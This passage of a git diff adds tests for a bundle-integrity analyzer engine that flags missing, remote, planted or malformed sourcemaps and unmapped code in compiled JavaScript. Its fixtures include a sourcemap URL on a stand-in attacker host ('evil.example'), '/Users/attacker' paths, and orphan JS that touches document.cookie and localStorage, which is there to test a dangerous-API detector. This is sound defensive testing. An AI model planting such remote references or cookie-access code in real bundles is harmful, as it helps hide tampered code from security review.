RuleDescription[]; + + beforeAll(async () => { + const raw = await fs.promises.readFile(path.join(TEST_DATA_FOLDER, GOLDFILE), 'utf-8'); + expectedRules = JSON.parse(raw) as RuleDescription[]; + }); + + describe('getName', () => { + it('When getName is called, then the engine name is returned', () => { + const engine = new UIBundleEngine(); + expect(engine.getName()).toEqual('uibundle'); + }); + }); + + describe('getEngineVersion', () => { + it('Outputs something resembling a semantic version', async () => { + const engine = new UIBundleEngine(); + const version = await engine.getEngineVersion(); + expect(version).toMatch(/\d+\.\d+\.\d+.*/); + }); + }); + + describe('describeRules', () => { + it('When describeRules is called, then all rules are returned', async () => { + const engine = new UIBundleEngine(); + const rules = await engine.describeRules(createDescribeOptions()); + expect(rules).toEqual(expectedRules); + }); + }); + + describe('runRules', () => { + it('When zero rule names are provided, then zero violations are returned', async () => { + const engine = new UIBundleEngine(); + const results: EngineRunResults = await engine.runRules( + [], + createRunOptions(new Workspace('id', [TEST_DATA_FOLDER])), + ); + expect(results.violations).toHaveLength(0); + }); + + it('When no bundle targets are found in the workspace, then zero violations are returned', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'README.md', '# not a bundle'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations).toHaveLength(0); + }); + + it('missing-sourcemap: raises a violation when a compiled .js has no adjacent .js.map and no //# sourceMappingURL', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hello");\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + const v = results.violations[0]!; + expect(v.ruleName).toEqual('missing-sourcemap'); + expect(v.codeLocations[0]!.file).toContain(path.join('dist', 'main.js')); + expect(v.codeLocations[0]!.startLine).toBeGreaterThanOrEqual(1); + expect(v.codeLocations[0]!.startColumn).toBeGreaterThanOrEqual(1); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL points at a nonexistent .map file', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hello");\n//# sourceMappingURL=nonexistent.map\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL is a remote HTTP URL (unverifiable locally)', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n//# sourceMappingURL=https://evil.example/fake.map\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL is an inline data URL (no downstream validator decodes it)', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("ok");\n//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozfQ==\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL points at a non-sourcemap file (evades downstream scans)', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n//# sourceMappingURL=../README.md\n'); + writeFile(tmp, 'README.md', '# not a sourcemap\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when the colocated .js.map is a directory (walk skips non-files)', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n'); + writeFile(tmp, 'dist/main.js.map/placeholder', 'x'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when the colocated .js.map is a symlink (walkers skip symlinks)', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n'); + writeFile(tmp, 'dist/real.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', + })); + fs.symlinkSync(path.join(tmp, 'dist/real.js.map'), path.join(tmp, 'dist/main.js.map')); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL points outside distPath', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n//# sourceMappingURL=../planted.js.map\n'); + writeFile(tmp, 'planted.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', + })); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: raises a violation when //# sourceMappingURL is a self-reference to the .js file', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n//# sourceMappingURL=main.js\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('missing-sourcemap: no violation when //# sourceMappingURL points at a real .js.map at a custom path', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hi");\n//# sourceMappingURL=elsewhere.js.map\n'); + writeFile(tmp, 'dist/elsewhere.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', + })); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations).toHaveLength(0); + }); + + it('missing-sourcemap: no violation when a co-located .js.map exists', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'console.log("hello");\n//# sourceMappingURL=main.js.map\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', + })); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations).toHaveLength(0); + }); + + const perRuleViolationCases: Array<{ desc: string; rule: string; mapJson: unknown }> = [ + { + desc: 'path-leakage: absolute unix home path in sources[]', + rule: 'path-leakage', + mapJson: { + version: 3, + sources: ['/Users/attacker/src/main.js'], + names: [], + mappings: '', + }, + }, + { + desc: 'vlq-integrity: sourcemap JSON has no "mappings" field', + rule: 'vlq-integrity', + mapJson: { + version: 3, + sources: ['../src/main.js'], + names: [], + }, + }, + { + desc: 'vlq-integrity: segment source index out of range', + rule: 'vlq-integrity', + mapJson: { + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: 'AICA', + }, + }, + { + desc: 'invalid-source-references: sources[] entry does not exist on disk', + rule: 'invalid-source-references', + mapJson: { + version: 3, + sources: ['../src/missing.js'], + names: [], + mappings: '', + }, + }, + ]; + + it.each(perRuleViolationCases)('$desc', async ({ rule, mapJson }) => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify(mapJson)); + const results: EngineRunResults = await engine.runRules( + [rule], + createRunOptions(new Workspace('id', [tmp])), + ); + const matched = results.violations.filter(v => v.ruleName === rule); + expect(matched.length).toBeGreaterThan(0); + }); + + it.each([ + { ext: 'mjs', desc: 'ESM output' }, + { ext: 'cjs', desc: 'CommonJS output' }, + ])('missing-sourcemap: flags orphan dist/main.$ext ($desc) without a co-located sourcemap', async ({ ext }) => { + // Bundlers configured for ESM (.mjs) or CJS (.cjs) output must be scanned the + // same as .js output — otherwise an attacker could ship a tampered .mjs bundle + // with no sourcemap and every tamper detector would silently skip the file. + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, `dist/main.${ext}`, 'export const x = 1;\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + expect(results.violations[0]!.codeLocations[0]!.file).toContain(`main.${ext}`); + }); + + it.each([ + { ext: 'mjs' }, + { ext: 'cjs' }, + ])('path-leakage: fires on a .$ext bundle with a leaked absolute path in sources[]', async ({ ext }) => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, `dist/main.${ext}`, 'x\n'); + writeFile(tmp, `dist/main.${ext}.map`, JSON.stringify({ + version: 3, + sources: ['/Users/attacker/src/main.js'], + names: [], + mappings: '', + })); + const results: EngineRunResults = await engine.runRules( + ['path-leakage'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.some(v => v.ruleName === 'path-leakage')).toBe(true); + }); + + it.each([ + { ext: 'mjs' }, + { ext: 'cjs' }, + ])('vlq-integrity: scans .$ext.map sourcemaps for out-of-range source indices', async ({ ext }) => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, `dist/main.${ext}`, 'x\n'); + writeFile(tmp, `dist/main.${ext}.map`, JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: 'AICA', // second field = source index 1, out of range for 1-entry sources[] + })); + const results: EngineRunResults = await engine.runRules( + ['vlq-integrity'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.some(v => v.ruleName === 'vlq-integrity')).toBe(true); + }); + + it('bundle target detection: workspace containing files under dist/ still triggers rule execution', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + // No ui-bundle.json here — the engine should fall back to detecting bundles from any dist/ ancestor. + writeFile(tmp, 'my-bundle/dist/main.js', 'console.log("hi");\n'); + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap'], + createRunOptions(new Workspace('id', [tmp])), + ); + expect(results.violations.length).toBeGreaterThan(0); + expect(results.violations[0]!.ruleName).toEqual('missing-sourcemap'); + }); + + it('emits SFCA 1-based startColumn for whole-file findings across missing-sourcemap, path-leakage, invalid-source-references and coverage-analysis', async () => { + const engine = new UIBundleEngine(); + const tmp = makeTmpDir(); + writeFile(tmp, 'ui-bundle.json', '{}'); + writeFile(tmp, 'dist/orphan.js', 'document.cookie = "x=1";\n'); + writeFile(tmp, 'dist/main.js', 'a'.repeat(200) + '\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['/Users/attacker/src/main.js', '../src/missing.js'], + names: [], + mappings: '', + })); + + const results: EngineRunResults = await engine.runRules( + ['missing-sourcemap', 'path-leakage', 'invalid-source-references', 'coverage-analysis'], + createRunOptions(new Workspace('id', [tmp])), + ); + + const byRule = new Map(); + for (const v of results.violations) { + byRule.set(v.ruleName, (byRule.get(v.ruleName) ?? 0) + 1); + expect(v.codeLocations[0]!.startLine).toBeGreaterThanOrEqual(1); + expect(v.codeLocations[0]!.startColumn).toBeGreaterThanOrEqual(1); + } + expect(byRule.get('missing-sourcemap')).toBeGreaterThan(0); + expect(byRule.get('path-leakage')).toBeGreaterThan(0); + expect(byRule.get('invalid-source-references')).toBeGreaterThan(0); + + const wholeFile = results.violations.filter(v => + v.ruleName === 'missing-sourcemap' || + v.ruleName === 'path-leakage' || + v.ruleName === 'invalid-source-references' + ); + expect(wholeFile.length).toBeGreaterThan(0); + for (const v of wholeFile) { + expect(v.codeLocations[0]!.startColumn).toEqual(1); + } + }); + }); +}); diff --git a/packages/code-analyzer-uibundle-engine/test/plugin.test.ts b/packages/code-analyzer-uibundle-engine/test/plugin.test.ts new file mode 100644 index 00000000..27e283be --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/plugin.test.ts @@ -0,0 +1,31 @@ +import { EnginePluginV1 } from "@salesforce/code-analyzer-engine-api"; +import { UIBundleEnginePlugin } from "../src"; +import { UIBundleEngine } from "../src/engine"; +import { getMessage } from "../src/messages"; + +describe('Tests for the UIBundleEnginePlugin', () => { + let plugin: EnginePluginV1; + const engineName = 'uibundle'; + beforeAll(() => { + plugin = new UIBundleEnginePlugin(); + }); + + describe('getAvailableEngineNames', () => { + it(`When the getAvailableEngineNames method is called then '${engineName}' is returned`, () => { + expect(plugin.getAvailableEngineNames()).toEqual([engineName]); + }); + }); + + describe('createEngine', () => { + it(`When createEngine is called with an invalid name then an error is thrown`, async () => { + await expect(plugin.createEngine('error_engine', {})).rejects.toThrow( + getMessage('UnsupportedEngineName', 'error_engine')); + }); + + it(`When createEngine is passed '${engineName}', then the UIBundleEngine is returned`, async () => { + const engine = await plugin.createEngine(engineName, {}); + expect(engine).toBeInstanceOf(UIBundleEngine); + expect(engine.getName()).toEqual(engineName); + }); + }); +}); diff --git a/packages/code-analyzer-uibundle-engine/test/test-data/uibundle-engine-goldfile.json b/packages/code-analyzer-uibundle-engine/test/test-data/uibundle-engine-goldfile.json new file mode 100644 index 00000000..f3e6e882 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/test-data/uibundle-engine-goldfile.json @@ -0,0 +1,88 @@ +[ + { + "name": "missing-sourcemap", + "severityLevel": 2, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Every compiled .js file in the build output must have a corresponding sourcemap (co-located .js.map or //# sourceMappingURL). Missing sourcemaps prevent source-to-compiled verification during security review.", + "resourceUrls": [ + "https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map" + ] + }, + { + "name": "path-leakage", + "severityLevel": 3, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Sourcemap sources[] entries must be relative paths. Absolute paths leak developer environment details (usernames, filesystem layout) into shipped artifacts.", + "resourceUrls": [] + }, + { + "name": "invalid-source-references", + "severityLevel": 2, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Every file referenced by a sourcemap sources[] entry (that doesn't have inline sourcesContent) must exist on disk. Missing files indicate tampering or an incomplete submission.", + "resourceUrls": [] + }, + { + "name": "vlq-integrity", + "severityLevel": 2, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Sourcemap \"mappings\" field must be valid Base64 VLQ and reference in-range source/name indices. Malformed mappings signal a fabricated or corrupted sourcemap.", + "resourceUrls": [ + "https://tc39.es/ecma426/#sec-mapping-groups" + ] + }, + { + "name": "source-content-verification", + "severityLevel": 2, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "AST-based verification that the compiled JS actually traces back to the submitted source. Parses compiled output with @babel/parser, collects significant AST nodes, and checks each has a sourcemap mapping into a source file present on disk. Also enforces byte-equal sourcesContent, a virtual-source ratio cap, an AST type-mismatch threshold, and flags dangerous API patterns in unmapped regions.", + "resourceUrls": [ + "https://tc39.es/source-map/" + ] + }, + { + "name": "coverage-analysis", + "severityLevel": 5, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Character-level coverage analysis (informational). Flags per-line unmapped regions of 50+ chars and raises a cumulative finding when more than 5% of the compiled file (line-1 preamble discounted up to 2000 chars) has no sourcemap coverage.", + "resourceUrls": [] + }, + { + "name": "structural-coherence", + "severityLevel": 5, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Structural coherence checks on sourcemap tokens (informational). Flags out-of-bounds mappings, sample-based whitespace/comment-only mappings above 80%, and cross-file jump ratios above 50% on consecutive same-line tokens.", + "resourceUrls": [] + }, + { + "name": "token-consistency", + "severityLevel": 5, + "tags": [ + "UIBundle", + "UIBundleIntegrity" + ], + "description": "Token-type consistency checks on sampled sourcemap tokens (informational). Every 20th mapping is compared between compiled and source positions; verifies names[] entries exist near the claimed source position (±3 col tolerance); flags scores below 85% (warning) and below 70% (suspicious).", + "resourceUrls": [] + } +] diff --git a/packages/code-analyzer-uibundle-engine/test/test-helpers.ts b/packages/code-analyzer-uibundle-engine/test/test-helpers.ts new file mode 100644 index 00000000..c6628777 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/test-helpers.ts @@ -0,0 +1,63 @@ +import { DescribeOptions, RunOptions, Workspace } from "@salesforce/code-analyzer-engine-api"; +import * as fs from "node:fs"; +import * as os from "node:os"; +import * as path from "node:path"; +import * as process from "node:process"; + +export function changeWorkingDirectoryToPackageRoot() { + let original_working_directory: string; + beforeAll(() => { + // We change the directory so that any relative-path lookups (e.g. getEngineVersion + // reading ../package.json) resolve consistently regardless of where jest is invoked. + // Using the package root — not the test directory — is also needed for IDE coverage. + original_working_directory = process.cwd(); + process.chdir(path.resolve(__dirname, '..')); + }); + afterAll(() => { + process.chdir(original_working_directory); + }); +} + +export function createDescribeOptions(workspace?: Workspace): DescribeOptions { + return { + logFolder: os.tmpdir(), + workspace: workspace, + workingFolder: fs.mkdtempSync(path.join(os.tmpdir(), 'tmp-')) + }; +} + +export function createRunOptions(workspace: Workspace): RunOptions { + return { + logFolder: os.tmpdir(), + workspace: workspace, + workingFolder: fs.mkdtempSync(path.join(os.tmpdir(), 'tmp-')) + }; +} + +const _createdTmpDirs: string[] = []; + +export function makeTmpDir(prefix = 'uibundle-engine-'): string { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix)); + _createdTmpDirs.push(dir); + return dir; +} + +export function installTmpDirCleanup(): void { + afterEach(() => { + while (_createdTmpDirs.length > 0) { + const dir = _createdTmpDirs.pop()!; + try { + fs.rmSync(dir, { recursive: true, force: true }); + } catch { + // Best-effort cleanup — a stray tmp dir is not worth failing a test. + } + } + }); +} + +export function writeFile(root: string, relPath: string, contents: string): string { + const abs = path.join(root, relPath); + fs.mkdirSync(path.dirname(abs), { recursive: true }); + fs.writeFileSync(abs, contents, 'utf8'); + return abs; +} diff --git a/packages/code-analyzer-uibundle-engine/test/validators-integration.test.ts b/packages/code-analyzer-uibundle-engine/test/validators-integration.test.ts new file mode 100644 index 00000000..8bdf6da7 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/test/validators-integration.test.ts @@ -0,0 +1,665 @@ +import { encode, type SourceMapSegment } from "@jridgewell/sourcemap-codec"; +import { TraceMap } from "@jridgewell/trace-mapping"; +import * as path from "node:path"; +import { analyzeCoverage, validateCoverageAnalysis } from "../src/validators/coverage-analysis"; +import { validateInvalidSourceReferences } from "../src/validators/invalid-source-references"; +import { validateMissingSourcemaps } from "../src/validators/missing-sourcemap"; +import { validatePathLeakage } from "../src/validators/path-leakage"; +import { + validateSourceContent, + nodeTypesCompatible, + normalizeNodeType, +} from "../src/validators/source-content-verification"; +import { + analyzeCoherence, + validateStructuralCoherence, +} from "../src/validators/structural-coherence"; +import { + analyzeTokenConsistency, + validateTokenConsistency, +} from "../src/validators/token-consistency"; +import { validateVlqIntegrity } from "../src/validators/vlq-integrity"; +import { changeWorkingDirectoryToPackageRoot, installTmpDirCleanup, makeTmpDir, writeFile } from "./test-helpers"; + +changeWorkingDirectoryToPackageRoot(); +installTmpDirCleanup(); + +describe('missing-sourcemap dangerous-API orphan JS branch', () => { + it('emits an extra finding when an orphan JS contains a dangerous API pattern', async () => { + const tmp = makeTmpDir(); + // No colocated .map and no //# sourceMappingURL comment — orphan JS. + writeFile(tmp, 'dist/leaky.js', 'document.cookie = "x=1"; localStorage.setItem("a","b");\n'); + + const res = await validateMissingSourcemaps(path.join(tmp, 'dist')); + expect(res.findings.length).toBeGreaterThanOrEqual(2); + const messages = res.findings.map(f => f.message).join('|'); + expect(messages).toMatch(/document\.cookie|localStorage/); + }); + + it('skips when distPath is a file rather than a directory', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist.js', 'x'); + const res = await validateMissingSourcemaps(path.join(tmp, 'dist.js')); + expect(res.skipped).toBeDefined(); + }); +}); + +describe('coverage-analysis file-walker', () => { + it('emits an unmapped-region finding and cumulative-budget finding', async () => { + const tmp = makeTmpDir(); + // 3000-char line-1: first 2000 exempt, 1000 counted → 33% > 5% threshold. + const longLine = 'a'.repeat(3000) + '\n'; + writeFile(tmp, 'dist/main.js', longLine); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: '', // no mappings at all + })); + + const res = await validateCoverageAnalysis(path.join(tmp, 'dist')); + const messages = res.findings.map(f => f.message).join(' | '); + expect(res.findings.length).toBeGreaterThan(0); + expect(messages).toMatch(/Excessive cumulative unmapped/); + // Region starts at 0-based col 0 in the analyzer → validator emits 1-based col 1. + const region = res.findings.find(f => f.startColumn !== undefined); + expect(region!.startColumn).toEqual(1); + }); + + it('skipped when distPath is a file rather than a directory', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'x.js', 'x'); + const res = await validateCoverageAnalysis(path.join(tmp, 'x.js')); + expect(res.skipped).toBeDefined(); + }); + + it('analyzeCoverage emits an unmapped region on partial coverage after threshold', () => { + // A line with a first mapping at column 60 (>= UNMAPPED_THRESHOLD=50) yields one region. + const tracer = new TraceMap({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[60, 0, 0, 0]]]), + }); + const compiled = ' '.repeat(60) + 'x = 1;\n'; + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions.length).toBe(1); + expect(report.unmappedRegions[0]!.startCol).toBe(0); + }); +}); + +describe('vlq-integrity file-walker', () => { + it('emits a finding when JSON is not parseable', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', 'not valid json'); + const res = await validateVlqIntegrity(path.join(tmp, 'dist')); + expect(res.findings.length).toBeGreaterThan(0); + expect(res.findings[0]!.message).toMatch(/JSON|parse/i); + }); + + it('emits a finding when sources[] is missing', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + names: [], + mappings: '', + })); + const res = await validateVlqIntegrity(path.join(tmp, 'dist')); + expect(res.findings.length).toBeGreaterThan(0); + }); + + it('emits a finding when a name index is out of range', async () => { + // Segment "AICAC" decodes to [0,1,1,0,1] — name index 1, but names[] has length 1. + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['a', 'b'], + names: ['a'], + mappings: 'AICAC', + })); + const res = await validateVlqIntegrity(path.join(tmp, 'dist')); + const nameOob = res.findings.filter(f => /name/i.test(f.message)); + expect(nameOob.length).toBeGreaterThan(0); + }); + + it('emits a SourcemapNotValidJson finding when a .js.map is not valid JSON', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', '{ not: valid json'); + const res = await validateVlqIntegrity(path.join(tmp, 'dist')); + const jsonErr = res.findings.filter(f => /not valid json/i.test(f.message)); + expect(jsonErr.length).toBeGreaterThan(0); + }); +}); + +describe('path-leakage', () => { + it('flags windows drive letter and file:// URL', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['C:\\Users\\attacker\\main.js', 'file:///home/attacker/main.js'], + names: [], + mappings: '', + })); + const res = await validatePathLeakage(path.join(tmp, 'dist')); + expect(res.findings.length).toBe(2); + }); + + it('does not flag virtual or relative sources', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js', 'webpack:///./src/foo.js', 'src/x.js'], + names: [], + mappings: '', + })); + const res = await validatePathLeakage(path.join(tmp, 'dist')); + expect(res.findings.length).toBe(0); + }); +}); + +describe('invalid-source-references', () => { + it('skips a source when sourcesContent[i] is populated', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/missing.js'], + sourcesContent: ['/* content — declares self-contained */'], + names: [], + mappings: '', + })); + const res = await validateInvalidSourceReferences(path.join(tmp, 'dist')); + expect(res.findings.length).toBe(0); + }); + + it('skips virtual and remote sources', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: [ + 'webpack:internal://foo', + 'data:application/json;base64,e30=', + 'https://cdn.example/foo.js', + ], + names: [], + mappings: '', + })); + const res = await validateInvalidSourceReferences(path.join(tmp, 'dist')); + expect(res.findings.length).toBe(0); + }); + + it('resolves against sourceRoot when provided', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sourceRoot: '../src', + sources: ['does-not-exist.js'], + names: [], + mappings: '', + })); + const res = await validateInvalidSourceReferences(path.join(tmp, 'dist')); + expect(res.findings.length).toBe(1); + }); +}); + +describe('structural-coherence file-walker', () => { + it('emits a bounds-violation finding via the validator', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'let x = 1;\n'); + writeFile(tmp, 'dist/main.js', 'let x = 1;\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[0, 0, 99, 0]]]), // line 99 doesn't exist + })); + const res = await validateStructuralCoherence({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + const bounds = res.findings.filter(f => /out|bound/i.test(f.message)); + expect(bounds.length).toBeGreaterThan(0); + }); + + it('skipped when sourcePath is a file', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src.js', 'x'); + writeFile(tmp, 'dist/main.js', 'x'); + const res = await validateStructuralCoherence({ + sourcePath: path.join(tmp, 'src.js'), + distPath: path.join(tmp, 'dist'), + }); + expect(res.skipped).toBeDefined(); + }); + + it('analyzeCoherence flags out-of-bounds column and consumes embedded sourcesContent', () => { + // No matching submitted source in the index → falls through to sourceContentFor. + const tracer = new TraceMap({ + version: 3, + sources: ['virtual.js'], + sourcesContent: ['let x = 1;\n'], + names: [], + mappings: encode([[[0, 0, 0, 999]]]), // column 999 way past line length + }); + const report = analyzeCoherence(tracer, new Map()); + expect(report.boundsViolations.length).toBeGreaterThan(0); + }); +}); + +describe('token-consistency file-walker', () => { + it('emits a suspicious finding when compiled and source token categories disagree', async () => { + const tmp = makeTmpDir(); + // Compiled has a string literal (`"a"`) where the map points into a source identifier — mismatch. + writeFile(tmp, 'src/main.js', 'foo\n'); + writeFile(tmp, 'dist/main.js', '"a"\n'); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([[[0, 0, 0, 0]]]), + })); + const res = await validateTokenConsistency({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + // Either suspicious or warning finding depending on rounding — assert something surfaced. + expect(res.findings.length).toBeGreaterThan(0); + }); + + it('skipped when distPath is a file rather than a directory', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x'); + writeFile(tmp, 'dist.js', 'x'); + const res = await validateTokenConsistency({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist.js'), + }); + expect(res.skipped).toBeDefined(); + }); + + it('quietly skips a .js.map that TraceMap cannot load', async () => { + const tmp = makeTmpDir(); + writeFile(tmp, 'src/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js', 'x\n'); + writeFile(tmp, 'dist/main.js.map', 'not valid json'); + const res = await validateTokenConsistency({ + sourcePath: path.join(tmp, 'src'), + distPath: path.join(tmp, 'dist'), + }); + expect(res.skipped).toBeUndefined(); + expect(res.findings).toEqual([]); + }); + + it('analyzeTokenConsistency emits a name mismatch when names[] entry is absent from source', () => { + const tracer = new TraceMap({ + version: 3, + sources: ['../src/main.js'], + names: ['expectedName'], + // one mapping at gen(0,0) → src(0,0), name index 0 + mappings: encode([[[0, 0, 0, 0, 0]]]), + }); + const compiled = 'x'; + const src = new Map([['src/main.js', 'y']]); + const report = 